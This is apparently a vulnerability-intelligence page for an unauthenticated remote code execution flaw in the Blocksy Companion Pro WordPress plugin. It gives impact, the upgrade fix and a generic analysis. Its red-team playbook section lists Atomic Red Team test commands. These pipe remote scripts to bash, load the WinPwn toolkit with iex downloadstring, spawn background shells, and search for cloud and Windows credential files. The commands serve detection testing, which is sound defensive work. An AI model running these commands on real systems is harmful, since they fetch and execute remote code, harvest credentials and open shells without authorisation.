CVE-2026-57624
Overview
This vulnerability is an unauthenticated remote code execution (RCE) flaw caused by improper handling of user-supplied input in the Blocksy Companion Pro WordPress plugin, specifically versions up to and including 2.1.46. The root cause lies in insecure dynamic code evaluation that allows execution of arbitrary code without authentication. The affected component is the plugin’s backend functionality responsible for processing certain requests, which fails to sanitize or validate input before execution.
Vulnerability Description
Unauthenticated Remote Code Execution (RCE) in Blocksy Companion Pro <= 2.1.46 versions.
Impact
An attacker can execute arbitrary code on the server hosting the vulnerable plugin without requiring any authentication or user interaction. This allows full compromise of the WordPress environment, including access to sensitive data, modification or deletion of content, installation of persistent backdoors, and lateral movement within the network. The vulnerability enables complete takeover of the affected system, posing a critical threat to confidentiality, integrity, and availability of the website and underlying infrastructure.
Solution
Users of Blocksy Companion Pro should upgrade to version 2.1.47 or later, where this vulnerability has been addressed. Detailed patch instructions and updates are available at Patchstack’s advisory page: https://patchstack.com/database/wordpress/plugin/blocksy-companion-pro/vulnerability/wordpress-blocksy-companion-pro-plugin-2-1-46-remote-code-execution-rce-vulnerability?_s_id=cve. No workarounds are recommended; applying the vendor-provided patch is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Blocksy Companion Pro versions up to 2.1.46 allows for unauthenticated remote code execution, posing a severe threat to users of this software. This flaw arises from improper input validation and insufficient authentication mechanisms, which enable an attacker to send specially crafted requests to the application. When these requests are processed, they can lead to the execution of arbitrary code on the server, effectively allowing the attacker to gain control over the affected system. The severity of this vulnerability is underscored by its CVSS score of 10.0, indicating that it is critical and can be exploited with minimal effort.
Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploit. An attacker does not need to possess valid credentials or be authenticated to the system, which significantly lowers the barrier to entry for exploitation. Scenarios may include an attacker scanning for vulnerable instances of Blocksy Companion Pro on the internet, leveraging automated tools to identify and exploit the flaw. Once access is gained, the attacker can execute commands that could lead to data exfiltration, system compromise, or even the deployment of malware. The potential for widespread exploitation is high, especially in environments where the software is deployed without adequate security measures.
The real-world impact of this vulnerability can be devastating for businesses that rely on Blocksy Companion Pro for their operations. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. Additionally, the reputational damage resulting from a breach can have long-lasting effects on customer trust and brand integrity. Organizations may also face regulatory scrutiny and potential legal ramifications, particularly if sensitive customer data is compromised. The combination of these factors underscores the critical need for organizations to prioritize the remediation of this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify instances of the affected software and evaluate the security posture of the environment. Implementing network segmentation can limit the exposure of critical systems to potential attackers, while robust firewall rules can help filter out malicious traffic. Additionally, organizations should ensure that they are running the latest version of Blocksy Companion Pro, as updates often include patches for known vulnerabilities. Educating staff about the risks associated with remote code execution and promoting best practices for security hygiene can further bolster defenses against exploitation.
In conclusion, the unauthenticated remote code execution vulnerability in Blocksy Companion Pro presents a critical risk to organizations that utilize this software. The ease of exploitation, coupled with the potential for significant impact, necessitates immediate attention from cybersecurity professionals. By implementing proactive detection and mitigation strategies, organizations can protect themselves against the threats posed by this vulnerability and safeguard their systems and data from malicious actors.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Active exploitation confirmed — vendor: Creative Themes, product: Blocksy Companion Pro
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-57624 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/blocksy-companion-pro/vulnerability/wordpress-blocksy-companion-pro-plugin-2-1-46-remote-code-execution-rce-vulnerability?_s_id=cve |